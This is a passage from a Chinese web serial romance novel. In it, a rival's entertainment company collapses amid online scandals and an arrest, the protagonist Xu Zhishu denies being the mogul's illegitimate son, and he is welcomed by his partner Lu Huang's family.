这下网上更热闹了,对于这件事也分成了两派,一派认为孩子是无辜的,杨夫人再生气,也不应该跟一个孕妇动手;另一派则任为小三就应该打,狗男人也应该打,而孩子在这件事里就是潘鹂生下来抢杨家家产的,没有任何值得同情的地方。 许稚舒悠哉地吃着薯条,跟路煌道:“看来杨立致现在就是想息事宁人都难了。潘鹂下手太快,这事肯定得有个结果才能算完。” “你觉得杨阅接下来会怎么做?”路煌问许稚舒。事涉杨夫人,杨阅总不能连自己的母亲都不管。 许稚舒刷着评论笑说:“比起他会怎么做,我想纬弦的员工要怎么做才是重点。” 所谓树倒猢狲散,每个人都要给自己想退路,没必要守着一棵在倒的树表忠心。路煌和许稚舒的目的就是让纬弦倒闭,这才是能踩中杨立致命门的事。至于家产争夺,那都是附带的闹剧。 两个人正讨论着,热搜又刷新了,这次是纬弦音乐制作部的音乐人们集体发微博,表示自己要与纬弦娱乐解除合作,给出的理由当然不会是因为纬弦不行了,而是要打着“看不惯这样的老板”的正义名头。 “看吧?这就动起来了。”许稚舒一脸不出所料的表情。 林仕咏为了挽回自己的形象,更是一股脑地把当初杨阅是如何跟《听一首歌》节目组一起作弊,让他与贺漾合作意在打压许稚舒的,又是怎么指使他换伴奏意图毁掉贺漾的舞台的,最后又是怎么让他顶锅的全说了。即便这里面不乏林仕咏自己的私心,可在现在的大趋势下,没有人会在意这些细节。 “这下更热闹了。”路煌也难得看得很起劲儿,毕竟整件事是他给开的头,就算后续发展并不完全在他的掌控中,可在弦纬倒闭这件事上,他怎么也得占一功。 热搜的话题一旦有了新发展,就会神奇地扯出一系列连锁反应,甚至是往预料不到的方向发展。在音乐制作部集体解约的热度尚未完全发酵起来的时候,有一位之前签在纬弦娱乐的练习生站出发声,说十年前杨立致在她做练习生期间对她提出了包养的提议,并对她动手动脚。 她一心只为追求梦想,必不可能与杨立致有什么,杨立致就把她从预备出道名单中剔除了,想逼她妥协。之所以一直没有站出来,是因为杨立致是私下找的她,她没有证据。由于当时她什么都不懂,还与纬弦签了正式的练习生合同,在合同结束前没办法走,最后就被雪藏了。合约到期后,她也过了最佳出道年纪,梦想就这样被淹没,如今已经是素人了。 原本一开始只是杨家自己的事,大家当八卦看看图一乐,骂骂渣男,骂骂小三就得了。结果却是越扒越有,杨立致做的那些烂事开始有人爆料了。 这下点燃的不再是大家的八卦欲,而是怒火。几乎是顷刻间,纬弦娱乐的官号下面都要被愤怒的大众冲烂了,杨立致祖宗十八代都被细细点了一遍。 路煌抽掉了许稚舒的手机,现在杨立致的名字密度太高,照片出现得也频繁,他不想影响许稚舒的心情。 “找部电影看吧。”路煌提议。这是很好地分散注意力的方式。 许稚舒知道路煌的好意思,点头道:“你洗碗,我去找零食和电影。” 路煌欣然同意。 说是找零食,许稚舒却悄悄溜回了房间,他的行李还没收拾,不过并不着急。他从出差带着随身包里拿出一份合同,然后快速塞进抽屉里,并压在了所有文件的最下面。 这是他给路煌准备的圣诞礼物,虽然还要排期,等得有点长,可他觉得是非常有意义的——是一位国际知名摄影师的约拍合同,他想跟路煌拍一组结婚照。即便不能领证,拍结婚照的程序许稚舒并不想省。不一定要挂出来,只要不时地拿出来翻看,都是他们幸福时刻的纪录。他想要正式一些,也是他重视路煌、重视两人感情的一种表达。 在这件事上,他想做一个主动的人—— 作者有话说:感谢支持! 第60章 找好了电影, 许稚舒拆了一袋零食,路煌准备了咖啡,两个人坐在一起看。 他们对电影没有特别的要求, 之前如果是去影院看, 多半是为了支持参演的朋友。而在家看的话,都是找评分高的。 这部温馨治愈的爱情电影, 没有过于跌宕起伏的情节, 甚至就电影三幕式来讲,都算不上完整。可就是这样简单日常的东西,往往却是最能打动人的,让人猜不到何时何地会有反转,而在反转到来时,又不会为了硬拉高-潮, 让影片产生割裂感。它仿佛就是娓娓道来一段情,会有苦恼, 但不尖锐,也总会用最温柔地语气告诉主人公, 也告诉观众, 所有苦恼都会被解决。 看到后面,许稚舒已经躺到路煌腿上了。路煌心猿意马,电影什么的都给他往后靠, 他的手轻轻抚弄着许稚舒的脸、耳朵、头发, 极尽珍惜,极为温柔。 许稚舒翻了个身,仰躺着看路煌。路煌低头望着他,嘴角不自觉地微微上扬。 许稚舒抓住路煌的手,扣在自己脸边:“看电影的时候觉得爱情越复杂越好, 比较能带动情绪,但如果是自己的爱情,还是越简单越好。” 路煌笑说:“咱们的爱情可不简单。” 他们这一路走来,经历的事算不上跌宕起伏,但的确双方都在心理上经受了折磨。只不过两个人在一起的时间真的很长了,一旦爱情的时间线被拉长来看,好像再尖锐的疼痛也变得温和了。 “那就以后简简单单的,就我们两个人。”许稚舒不太愿意回忆分手期间的事,即便过去了,他依旧会觉得不舒服。 “好。”路煌知道许稚舒并不会养小猫小狗这样的宠物,他的性格一直是比较独的,所以家里会一直只有他们两个人。 劈里啪啦的消息提示音几乎是同一时间涌入两个人的手机。两个人对视了一眼,顿时觉得不会有好事。 路煌拿过自己的手机,许稚舒的手机在卧室里充电,他并没急着去拿。 路煌这边给他发消息的有公司的人,有单长清,还有路煊和严妙。 能把这些人同时惊动,路煌第一个反应就是他和许稚舒的恋情曝光了。 结果看了内容,他的脸沉得仿佛马上就要冲出去找人算账了。 见他表情瞬间就不对了,许稚舒立刻坐了起来,问:“出什么事了?” 路煌看着许稚舒,似乎不知道要怎么跟他讲。 许稚舒索性拿过路煌的手机,页面停在路煊发来的消息上,问许稚舒是不是真的是杨立致的私生子。 许稚舒脑子空白了一秒,绝对寂静的一秒让他有种想把杨立致的脑子砸烂的冲动。一秒不足以让他回忆自己幼时的种种,却足够让他把“不值”两个字在心底重新确认一次。为母亲不值,也再次告诉自己,为杨立致多耗费情绪不值。 路煌见他脸色不好,赶忙抽走他手里的手机。现在他们还不知道消息是怎么放出去的,路煌也没来得及细问,他现在的当务之急就是安抚好许稚舒。 “没事,你的想法我都明白,我来解决。”路煌把他拥进怀里,他也好,许稚舒也好,都没想到这件事会被拿到台面上来。 “我和杨立致没有任何关系。”许稚舒咬着牙道。也许这件事他自己解决会更好,如果给他一点时间缓一缓,他想他也能解决好。可现在,他有路煌了,他不想自己解决,他只想要一个结果。 “我明白。咱们跟姓杨的都没关系,放心吧。”路煌拉过毯子给许稚舒围上,又拖了个抱枕过来,让他躺好,“小睡一会儿,等醒了,就解决好了。” 许稚舒闭上眼,他没有觉得难过,只是烦躁。烦躁到如果让他知道是谁把事情捅出去的,他会想找上门跟对方打一架。 路煌就坐在旁边陪着他,在确定他的状态没问题后,才重新打开手机,了解起了来龙去脉。 这会儿热搜已经炸了,#许稚舒是杨立致儿子#的热搜词条热得发紫。而爆这一消息的不是别人,正是杨阅。 【我已经迷幻了,许稚舒是杨立致的儿子?这怎么可能呢?】 【这两个人从来没互动过吧?】 【杨阅说许稚舒是私生子,按年纪算,应该是杨立致在上一次婚姻中出轨的产物吧。】 【不是,杨阅说是就是啊?我还怀疑杨阅是自己身上的屎擦不干净,就想拉一泡更大的污染别人!】 【@许稚舒工作室是你们说话的时候了!人呢?!】 【呵呵,许稚舒如果真是小三的孩子,哪还有脸出来说话?】 路煌迅速意识到杨阅之所以这么做,应该是想跟杨立致割席了。要割席,杨立致现在的这段婚姻肯定也要结束,那就涉及到了分财产的问题。 杨阅明显是跟他母亲站在一边的,自然得想办法让他母亲尽可能多地拿到财产,那就必须把杨立致打成绝对的过错方,且要证名杨立致一直就是个渣男,对婚姻不忠是有前科的,这样上了法庭对杨阅母亲有利。所以许稚舒就成了被拉出来证实杨立致前科的有力证据。而这样一闹,大众也可能会对杨阅母子更加同情,杨阅的形象能找补回来一些,对他后续留在商业上求发展有利。 至于杨立致,路煌判断他是不可能来找许稚舒的,如果真有这个心,早就找上门了,不会至今没有人影。而杨立致现在如果站出来承认许稚舒的身份,就等于是坐实了自己人品差,那记者更会穷追不舍了。无论被扒出多少料,被多少人骂,杨立致肯定还是要尽可能地把负面问题推出去,不能抱着虱子多了不咬的心态,这才是商人思维,为了能东山再起,哪怕摘不干净也得尽量摘。 再者,杨立致就算破罐子破摔承认许稚舒是他的私生子又能怎么样?根本修复不了他和许稚舒的关系,许稚舒也不可能认他,两个人更不可能有后续的接触。所以怎么选,相信杨立致心里门清,唯一脑子不清楚的就是杨阅。 综合以上,路煌给乐言发了消息,让他用工作室的账号发声明。 路煌猜杨阅手里并没有有利的证据,否则这个时候没必要藏一手,直接公开可以让杨立致名声更臭。退一步说,就算杨阅手里真有证据,杨立致和许稚舒母亲的事也与杨阅和杨阅的母亲无关。有关的是杨观的母亲。而许稚舒的母亲也是妥妥的受害者,只要杨观的母亲愿意站出来说明实事,对许稚舒来说就能澄清情况,大众应该也能理解他。 很快,许稚舒工作室的账号就更新了,附言——我跟杨立致没有任何关系。 粉丝们自然是相信许稚舒的,她们是看着许稚舒如何一步一步辛苦地走到今天的,如果真有一个有能耐的爹,还用这么累? 没过多久,岸边传媒的官方微博也更新了,表示杨立致与许稚舒先生并没有任何关系,希望杨阅不要再为破坏杨立致的形象而攀扯别人了。 双方都这么说了,杨阅又没有证据拿出来,一时间大众都觉得自己被杨阅耍了,纷纷调转矛头,冲着杨阅就去了。 路煌转头去看许稚舒,许稚舒并没睡,这会儿正睁着眼睛看天花板,不知道在想什么。 路煌放下手机,俯身凑过去:“已经解决了,放心吧。” “嗯。”许稚舒表情终于好看了些,他知道这不是难解决的事,只是路煌帮他办完了,他会觉得更轻松,不需要再缓解澄清的过程带来的情绪。 路煌不准备让许稚舒再花时间了解情况,就简单把事情经过跟许稚舒说了。没提杨立致,更多的是猜杨阅的动机。 许稚舒已经被杨阅蠢得生不起气了,只剩下被傻逼缠上的无力感:“如果他母亲真跟杨立致离婚了也挺好,杨立致估计不会继续待在国内了,离开避避风头才是他的风格。杨阅跟他母亲应该也保不住纬弦,聪明一点的话就也离开源海市,去过新生活。他们都不在这儿,我倒是会觉得这里干净一些。” “说得也是。”虽然这个过程不在他们的预料之中,但结果并不坏,只要许稚舒觉得舒适就行。 外界路煌糊弄过去也就罢了,可家里那边他不能糊弄。现在他父母同意了许稚舒和他的事,大哥大嫂也一直很关心他们,今天看到消息第一时间联系了他。想到未来许稚舒有可能会融入到这个家里,路煌考虑再三,还是觉得得让他们心里有数。 毕竟许稚舒跟杨观是要接触的,等他们结婚的时候,杨观和杨观的母亲也肯定会到,欺瞒是没有意义的,只要家里人别在许稚舒面前提就行。 所以趁许稚舒因为时差开始小睡后,路煌给母亲及大哥回了话。同时也拿了许稚舒的手机,帮他处理掉手机里因为热搜发来的消息。 严妙作为女人,作为母亲,在得知许稚舒的经历后,不禁心疼起他来。这会儿,老爷子也听到了消息,他不能直接找路煌,就打电话给严妙问。 严妙现在心是向着路煌和许稚舒的,不管以后家里会如何,小辈对长辈有着最起码的诚实对老爷子来说或许也是加分项。于是就把实情跟老爷子说了。 挂了电话,路老爷子站在窗前久久不语。 路老太太走过来,递上一杯茶,微笑着问:“了解清楚了?” 老爷子脸上没表情,接过茶缓缓喝了一口,说:“我知道路煌是个专情的,像路家人,所以一直想着或许有一天许稚舒腻了,两个人就能散了。即便他们已经在一起很久了,这种可能性不大。现在了解了许稚舒的身世,估计他们是分不开了。” “哦?”路老太太发出一声疑惑,等着他继续说。 “我一直觉得一家人在一起,遇到什么事都有个人能商量,不会觉得孤独,也不会太过无助,这样什么难关都能度过去。这就是有家人,一代一代传承下去,让家族兴旺的意义之一。现在知道那孩子没有家人,只剩自己了,还有那么一个人渣父亲,童年应该过得也不够好。可能在那孩子心里,路煌现在就是他的家人的角色,或许还是他未来人生唯一的稻草,让他能够不觉得孤独,继续勇敢地活下去。”老爷子难得语气里透出几分同情,说他不近人情也好,专断也罢,可他一直在努力为自家的孩子们创造安全无忧的生活环境,这也是每个正常的家长都会去做的。 可许稚舒偏偏生活在一个没有那么正常的环境中,这让他都有些不忍打破许稚舒现在获得的难得的安稳了。更难得的是在单亲的成长环境中,许稚舒却没有长歪,还成为了一个非常有能力的孩子,这也让他对许稚舒刮目相看。 路老太太看出了他的心思,笑道:“过几天我把路煌叫过来吃饭吧,我也好长时间没见过他了,实在是怪想的。到时候再好好问问许稚舒的情况,多了解一些总是应该的。” 老爷子点点头,有些自嘲,又有些释然地道:“家里的小孩子都是前世债,还能真不管吗?最后还不都得给兜底嘛。”—— 作者有话说:感谢支持!《 》 60-66 第61章 杨家的事一直没消停, 杨观那边又给许稚舒带来了新消息,说是杨阅原本是想通过卖惨,让他母亲获得更多财产, 最好是能把纬弦彻底转到他手里, 这样他再去融资,说不定能把纬弦盘活。 只不过他想得挺好, 杨立致却不可能让他如愿。杨阅把许稚舒的事捅出来, 让杨立致明白杨阅是彻底跟他决裂了。在这种情况下,以杨立致的性格,肯定是保全自己的财产才是第一位的。也是因为如此,杨立致一个字都不敢提许稚舒,对许稚舒来说倒是好事。 现在就看杨立致要怎么处理手上的两家公司了,最好的办法当然是立刻卖掉, 能卖多少是多少。而杨观也是才知道,杨立致跟杨阅的母亲是签过婚前协议的, 后来成立的岸边传媒也有协议,证实公司跟杨阅的母亲没有任何关系。当时杨立致给的理由是商场瞬息万变, 娱乐圈又越发不景气, 他不希望杨阅的母亲因此背上债务。也不知道杨阅的母亲是信了,还是也有想保全自己的意思,总之协议是签了的。 现在杨阅的母亲起诉离婚, 并申请了财产保全。看似还有争一争公司的机会, 可实际上只要杨立致操作得当,一样能在这期间把公司卖掉。 “更有意思的是纬弦现在还没真倒,公司的员工就已经开始大批离职了。”杨观也完全是看笑话的心态,按他母亲和父亲的约定,就算他父亲最后把公司变卖了, 也要为杨观留一笔资产。即便现在来看这笔资产肯定是缩水不少,但有就比没有强,他现在正是用钱的时候,不拿白不拿。 “我之前看不是只有公司养的音乐人跑路了吗?”许稚舒这几天还是没有去关注杨家的事,整个人的状态反倒一直保持得比较好。 “最先跑的是音乐人,公司的其他员工紧接着就开始跟着跑了。与其等公司倒闭再找工作,不如现在赶紧跳槽,简历也能好看一些。”杨观虽然没参与过招聘这一块的工作,可作为一个老板,在一个跳槽过来的员工和一个因为前公司倒闭才来应聘的员工之间,他应该更倾向于前者。不是说后者就一定做得不对,而是他干的这一行需要的是主动性。 “这场离婚官司打起来应该也得花不少时间吧?”许稚舒不了解这一块,只是猜测。如果真是个拉锯战,说不定杨家会成为热搜常客。 “我觉得不会,我爸和杨阅那边肯定都着急赶紧撇清关系。在有婚前协议的情况下,杨阅想拿纬弦根本不可能。估计我爸会给钱了事,然后老死不相往来。”杨观这些年也越发看明白了杨家人的做事风格。 “这的确是最好的方法。”许稚舒不得不承认,杨立致的人品是真的烂,但快刀斩乱麻的坚决也是真的有。 “现在就看杨阅肯不肯了,比起他母亲,他应该才是最想要多分的那一个。只不过作为儿子,他只能等着分遗产。”杨观嘲道。 正常来说,杨观不至于那么讨厌杨阅,毕竟两个人见面的时候极少,也没有多大的正面冲突。但许稚舒不知道的是,杨阅从小到大,私下里可没少咒骂杨观和杨观的母亲。说杨观的母亲已经跟他父亲离婚了,还拿协议惦记着杨家的财产,这等于是偷了属于他的财产。他甚至还说,如果杨观死了就好了,这样财产就都是他的了。如果只是说了一两次,杨观母亲留在家里的眼线不至于特地说这事,但说得次数多了,在杨阅青春期那会儿,甚至还跟那些不三不四的好友打电话,说想撞死杨观。眼线怕出事,才跟杨观的母亲说了。 别人或许只把这当成是小孩子的胡言,但杨观的母亲可不会这么想,一个孩子能频频口出恶言,说明本身人品就有很大的问题,这样的孩子就是危险因素。 好在杨阅学习太差,后来只能把他送到国外去,这才让杨观的母亲松了口气。 这些杨观都没跟许稚舒提,也是觉得这是他跟杨阅的恩怨,没必要跟许稚舒说。 * 正如杨观所料,杨立致的离婚官司打得并不困难,最后听说是决定把两个公司都卖了,将这两个公司卖出的钱分出三成给杨阅。但从此之后,杨阅和杨阅的母亲不可以再向杨立致要一分钱,他也不需要杨阅赡养。杨阅也不再有继承杨立致遗产的权利。 至于杨阅母亲分到的,并没有预想中的多。杨立致的钱基本都投在公司里,账户上并没多少现钱,自然夫妻共同财产也没有多少。 至此,一切似乎都尘埃落定了。 路煌被老太太叫回去吃午饭,许稚舒是知道的。这次他没有担心,这种安心源于他对路煌与日俱增的信任。其实对他来说,这也是一种试探,他并不奢求路家接受他,可他也会想试探路家人的态度,只要他们不逼路煌,对许稚舒来说就是好的。 许稚舒今天也没闲着,他给品牌做的圣诞限定代言,今天正式上线。他要到商场为品牌做宣传。这是时隔近一年半,他再次参加品牌方的活动,紧张还不至于,只是对现场什么情况他的确无法估量。 车子经过纬弦娱乐时正好赶上红灯,许稚舒原本并没特别在意,结果一转头就看到纬弦娱乐的保安正架着几个人往外拖,这几个人叫骂着,声音很嘈杂,具体是什么情况,许稚舒坐在车上并听不清。不过他还是立刻拿出手机拍了张照。这时正好杨阅从里面出来,身上的衣服都被扯坏了,就见他站在门口指着被拖出来的几个大骂。 这时车子开动了,许稚舒随手把照片发给了杨观,没准备探听什么,就当是看了个热闹。 车子一进停车场,看到商场和品牌请的保安全部严阵以待,把许稚舒吓了一跳,觉得阵仗弄得挺大,估计是为了拉高品牌格调了,并没在意。 可当他出现在商场大堂,震耳欲聋的尖叫让许稚舒都恍惚了,他记得自己是退出台前了吧?怎么还有这么多人? 此时中空的商场大堂每一层的栏杆处都挤满了人,保安更是三五步就有一个,生怕出危险。 主持人非常喜欢这样的场面,兴高采烈地欢迎着许稚舒。要知道,这样的人气根本不需要她费劲,就可以调动起现场的气氛,以后放在自己的履历中,也是非常出彩的一笔。 许稚舒看着里三层外三层的人,又看了看楼上也挤得密密麻麻的人,不禁笑起来——粉丝对他的喜爱总是能超出他的预料。 此时商场外的大屏上已经在反复播放许稚舒的广告了。路过的人可能并不知道许稚舒在里面出席活动,但并不妨碍他们停下来看几眼,拿出手机拍个照。 活动的最后一个环节是许稚舒开启全球同步售卖。随着象征着开启的彩带喷出,线上线下同时开卖。 十分钟不到的时间,线上许稚舒的同款已经全部售罄。线下门店也已大排长龙,只能限流进入。 如此强大的带货能力,加上那张让人过目难忘的脸,许稚舒立刻登上热搜和国内外娱乐媒体的头版。 【意料之中,我准点登上官网准备购买,五个室友帮我抢,结果一个都没抢到!】 【官网都直接卡死了,我真的是心都凉了。】 【稚舒好不容易愿意代言了,我第一时间就冲进了我们当地品牌专卖店,结果我前面排了两百多个人!】 【看来只有我一个傻逼,我以为应该没有人会抢的,毕竟稚舒现在不当明星了嘛。结果我中午12:15赶到的,被店员告知同款都卖光了,如果不买同款可以进去挑些别的。】 【可恶!这些人都是什么网速啊,怎么下手这么快?!】 【线上就算了,线下卖光是什么意思?商场不是都看不到顾客的吗?!】 【我也只能多看几遍广告了。】 许稚舒在保安的护送下花了半个小时才离开商场,乐言已经好长时间没遇过这种待遇了,好在他身体记忆还在,知道怎么护着许稚舒离开。 上了车,乐言觉得自己整个人都虚脱了:“哥,我可能是缺乏锻炼了。以前护着你走的时候都没觉得这么累。” 许稚舒拧开水递给他,笑说:“以前用的都是团内的保镖,你们合作习惯了,知道怎么配合效率都高。今天的保安都是商场和品牌方安排的,配合起来没有那么顺畅。” “好吧。”乐言喝了半瓶水,才拿出手机,结果手机已经被消息塞满了。到达商场后,他就把手机调成静音了,如果没调,他的胯骨肯定会被振麻。 “好多消息啊。”乐言打开来看,几乎都是来问许稚舒接不接代言的。今天这个销售成绩谁看了能不眼红?许稚舒接的只是圣诞限定代言,到十二月底就结束了。其他品牌方想无缝衔接很正常。于是乐言问,“哥,你还接代言吗?好多品牌方的人来问。” 许稚舒笑道:“不接了。我已经转幕后了,还是不抢大家的饭碗了。” 本来他最初的目的就是想气一气杨阅。现在杨阅都那样了,再做什么都显得没必要了。 说话间,杨观也给他回消息了。说杨立致虽然有意卖公司,但目前没有人愿意接手。杨家那些亲戚知道杨立致是要跑路,都想仗着亲戚的身份最后再分一杯羹,结果没逮着杨立致,却遇上杨阅了,于是就打起来了。 今日笑话再+1,许稚舒笑了笑,没有多问—— 作者有话说:感谢支持! 第62章 参加完活动, 许稚舒没回工作室,而是直接回了家。这个月他工作少,已经开始琢磨放假的事了。他想像去年一样给自己和乐言、李瑶放两周的假, 不过去年他出去玩了, 今年倒是没有安排。主要是路煌走不开,他也不能强行让路煌放假。 路煌在乐湾山那边吃完午饭, 也直接回了家。 许稚舒见他进门, 诧异地问:“怎么没去公司?” “没什么事就不过去了。奶奶今天一早就让厨房炖了羊肚菌鸡汤,特地让我带回来给你喝。”路煌把保温桶放下,“午饭吃什么了?” “回来的时候买了三明治。”许稚舒没想到路煌还会带汤回来,想来不至于是为了给路家人刷好感度,拿来糊弄他的,“你爷爷奶奶没为难你吧?” 路煌笑着将外套挂好, 走到许稚舒面前:“没有,他们还说年底让我带你回家吃饭。” 许稚舒一脸不可思议, 他和路煌什么都没做,路家人怎么突然就同意了? 路煌也挺意外的, 原本他都做好回去后话不投机, 再跟老爷子吵一架的准备了。说实在的,如果这次不是他奶奶打电话叫他回去,他可能都不会去。 “可能是想明白了吧。”看出了他的疑惑, 路煌主动把之前他哥和母亲跟他说的, 都告诉了许稚舒,又讲了现在各大家族都不景气,“我估计爷爷一方面是看到了我们两个的能力,觉得越是这个时候,一家人越不能离心, 才能更好地应对外界的挑战;另一方面他们应该也清楚,我是不可能跟你分开的,总有一方要先妥协,显然我们不可能是妥协那个,家里就只能让步了。” 许稚舒表情能看出明显的放松,轻声道:“其实你家人对你挺好的,并没有真的为难你。否则我们两个要面对的困难可能更多。” 路煌微笑道:“不管怎么样,吵也吵了,态度也表明了,有今天这个结果,我们都努力了。以后就不用再考虑这件事了,我们会一直这样好下去。” 许稚舒笑着点头,既然路家接受了,他也愿意坦然接受对方的示好,对谁都没有坏处。 “那你想跟我回家吃饭吗?”路煌还是尊重许稚舒的意见,对奶奶那边他没有给确定的答案,只说到时候再看。 “我再考虑一下。”不是拿架子,也不是想为难谁,只是想到要去面对那么多长辈,对许稚舒来说是个陌生的体验,他需要一些时间准备,即便他并不清楚自己到底要准备什么。 路煌欣然应道:“不急,不想去也没关系,反正是他们反对在先,我们需要一点时间调整心态很正常。” 他的纵容让许稚舒没有了任何压力,也没有再继续这个话题,而是说起了放假的事。 两个人没有办法达成一起旅行的计划,只能等春节再说了。 * 由于圣诞限定销售量实在太好,即便许稚舒这边已经回绝过其他品牌了,但还是有品牌不死心,抱着“别人不行,可说不定我运气好”的态度还在联系许稚舒这边。于是乐言这些天的工作主要就是给品牌回复,回复到最后他觉得自己闭着眼都能打出回复函了。 “水电都关了吗?”许稚舒一边收拾杂物,一边问。 “都关好了,我也检查过了。”李瑶的东西已经收拾好了,等跨年回来就又是新一年了,到时候桌上的东西有些会换成新的,新年新气象。 “好,还有什么需要我做的?”许稚舒问。 “没有,你和乐言先走,我锁门就行。”李瑶心细,收尾工作她来做自己更放心。 两周的假期对她和乐言来说都是非常期待的,今年许稚舒不出门,可她和乐言约好了一起去旅行,两个人有个照应,家里也放心。 “好,那就年后见了。有事打电话。”许稚舒把最后一件要带走的东西装好,就抱着盒子下楼去了。 和别的公司比,他的工作室年假真放得很实在了。作为老板,许稚舒自己也是很满意的,毕竟他也放假,谁还不喜欢放假呢?给乐言和李瑶的年终奖也很足,明年他们三个依旧一起工作,这样的稳定感本身就是事业上的助力。 已经到十二月中旬了,今年源海市还没有正经地下过一场雪,实在是不多见的。不过今天天气阴沉沉的,看着有要下雪的意思,也不知道能不能下。 回到家,时间还早,许稚舒就推着车子去拿快递了。往常物业会在固定时间把快递集中送到各个住户家,今天许稚舒下班早,晚上又不打算在小区里溜达,就干脆趁这个时间把快递拿上来。 忙活了一通,许稚舒拉着车子进了家门。 今年他买了一颗圣诞树,想把家里装饰得热闹一些。自己一个人的时候,他并没有这样的心情,但现在不一样了。 刚拆开包装,门就再次打开了,路煌回来了。 “你怎么回来这么早?”许稚舒仰头看他,这个时间正常来说路煌还没下班呢。 “就知道你回家就要弄圣诞树,怕你一个人搞不定,回来帮你弄。”路煌关上门,放下钥匙,就帮着许稚舒一起弄了。 “你这算旷工吧?让员工知道,你这个老板的威信度会下降。”许稚舒玩笑说,其实能和路煌一起布置,他很高兴。 “下降就下降吧,不能陪你去旅行,陪你布置圣诞树还不行的话,我干脆辞职得了。”路煌又表现出了昏君的一面。 许稚舒扬了扬嘴角,两个人一起把圣诞树的底座先搬进去,确定好了位置,上面的部分可以一层一层插上,再把叶子的部分拨开就行了。这种可拆卸的树明年还能继续拿出来用,收纳起来也不复杂,很适合家用。 主体的部分弄好,两个人都出汗了。洗了手,路煌倒了果汁,两个人倚着饭桌,欣赏现在还没加装饰的树。 “听到个消息,跟你分享一下。”路煌表情似笑非笑的。 许稚舒知道他只有抱着看笑话的心态时,才会出现这种表情,于是顺着他的话道:“说呗。” “杨立致今天被抓进去了。” “啊?”许稚舒一下傻了,这幅度跨越得完全不在他的预料范围内,“什么情况?” 路煌喝着果汁,悠哉地说:“他不是离婚了吗?结果他不愿意跟潘鹂结婚,潘鹂想把孩子户口上到杨家都难。” “不愿意结婚?”这个许稚舒的确没想到。虽然两家公司还没卖掉,但杨立致和杨阅的母亲在达成协议后第二天就离婚了。后续的经济问题因为有协议,也没必要拖着。 “对,看起来杨立致是下定决心不结婚了,可能对潘鹂的态度也变得很差。结果潘鹂一气之下把杨立致之前干过的性骚扰、组织各种见不得人的party、向人行贿等事全抖出来了。之前的一些受害者手里没有证据,想告也告不了,怕败诉惹麻烦,现在潘鹂把证据全拿出来了,那几个受害者直接联合起来去报警了。之后肯定会牵扯出更多的人,警方有得忙了。”路煌就像是在说电视剧情节一样。 “潘鹂手里怎么会有这么多证据?”许稚舒不解,正常来说杨立致应该是很小心的。 路煌嗤笑:“你忘了潘鹂是怎么认识杨立致的?她参加的聚会可不少,能参加那种聚会可不是自己愿意就行,还得有门路。里面的水深着呢。” 许稚舒的确不了解这些,越听越惊奇:“所以潘鹂这是得不到就毁掉?可她自己也不干净吧。” 路煌:“杨立致应该是铁了心不跟潘鹂结婚了,否则但凡还有一丝希望,潘鹂都不会走到这一步。既然走到这一步可就没有回头路了,潘鹂多半会把自己包装成受害者。” 许稚舒笑起来:“杨立致在女人之间游走了一辈子,最后还是被女人压得翻不了身了。” 以盖留娱乐那个前车之鉴看,杨立致的两个公司多半也是要砸手里了。公司卖不出去,杨阅拿不到钱肯定要闹;潘鹂要为自己和孩子打算,肯定也得咬下杨立致一块肉,保障自己和孩子以后的生活;而被害者肯定得赔偿,这也是一笔不小的款项;杨家的亲戚再继续闹……想想那个场面,许稚舒就觉得杨立致不如现在立刻收拾一下原地去世更好。 放假让许稚舒心情本来就好,再想到杨立致很可能被判刑,后续被他牵扯出来的人也不会放过他,许稚舒的心情就更好了。 “应该开瓶酒庆祝一下。”许稚舒笑说。 “要不吃个火锅?配酒刚好。”路煌提议。 许稚舒欣然同意。 路煌点了火锅外卖,两个人一边往圣诞树上挂饰品,一边外卖送过来。很快,圣诞树就被装饰得很好看了,这时天色也完全黑了。路煌打开树上的灯,柔和的暖光闪烁着,漂亮,精致,也为房子增加了暖意和仪式感。 外卖送过来,路煌下楼取了。没多会儿,饭桌上电锅里的水也烧开了,两个人摆好食材,开始享用晚饭。路煌开了两瓶啤酒,和火锅更配。 外面飘起了雪,终于有了完整的冬天的样子。 锅子咕嘟咕嘟冒着热气,各种食材煮在里面,两个人慢慢吃着,聊着,不时看一眼外面的雪,家的温暖在这一刻具象化了。 “哪天去你家吃饭?”许稚舒问道。 路煌知道他这是愿意去了:“平安夜,可以吗?” 许稚舒点点头。 “不用担心,有我。”路煌怕他紧张。 许稚舒笑道:“我不担心,有你。”—— 作者有话说:感谢支持! 第63章 许稚舒跟着路煌去路家吃饭这天, 天空蓝得一朵云都没有,就像不懂绘画技巧的小朋友拼命地往天上泼着蓝色的颜料,蓝得透亮又干净。 为了表示重视, 路老爷子和路老太太提前一天就回路家老宅了。之前因为不同意闹了些不愉快, 现在想开了,肯定得拿出态度, 才能弥补这段裂痕。 让老人家跟年轻人道歉, 于理是应该的,可于情,哪有老人家能放得下这个脸面?所以只能行动上多做表示,希望年轻人能理解吧。 一直站在大厅落地窗前的路千瑗见院子大门打开了,立刻抓起放在沙发上的披肩一围,就跑了出去。 路煌的车子驶进来, 稳稳停到停车位上。 “二哥,许哥。”路千瑗跑过去。 “怎么出来了, 赶紧进去,外面冷。”路煌下车就催她进去, 今天天气虽好, 却也是正经的冬天了,女孩子还是不要着凉比较好。 “没事,我在屋里待得热呢。”说着话, 路千瑗就挽上了许稚舒的胳膊, “许哥,快进去吧。” 她也是怕许稚舒紧张,所以主动出来接他。 “我带了礼物来。”不管怎么样,礼貌还是要有的,许稚舒也买了些茶叶和红酒, 不是多名贵,却也不丢份。 路煌打开后备箱,把东西拿出来,三个人才进了屋。 严妙和陈玉欣已经在门口等了,许稚舒进门叫了人,陈玉欣跟他倒不生疏,笑道:“就等着你了。” 严妙也笑得很和善,主动拉了许稚舒的手:“外面冷吧?客厅暖和,去坐着吧。” “好。”因为家里有熟悉的人,许稚舒倒没有预想中的紧张。 随后路煊和路康佑也下楼了,最后下来的是路老太太和路老爷子。 老太太拉着许稚舒跟他说话,她本就是个亲善的老太太,话题里处处都是关心,很容易获得许稚舒的好感。 许稚舒第一次切实体会到一大家子人其乐融融应该是什么样的,也越发能理解当初路煌为什么会以家里和睦为先,如果是他生长在这样的环境下,也会如此的。 “听说你工作室放假了?要不要在家里住几天?”路老太太拉着许稚舒的手,越看越喜欢。抛开别的不提,许稚舒合她眼缘,看着就高兴。而她从一开始就没表示出反对,只是没有跟老头子对着干,一方面是觉得路煌大了,有自己的想法很正常,路煌已经把老头子气得血压高了,她就不添乱了;另一方面是她看过许稚舒的照片,觉得这孩子不是个惹事的样子,长得好,看着也有教养,她有好感。 没等许稚舒说话,路煌就先一步帮他拒绝了:“不住,我回家看不到他,还有什么意思?” 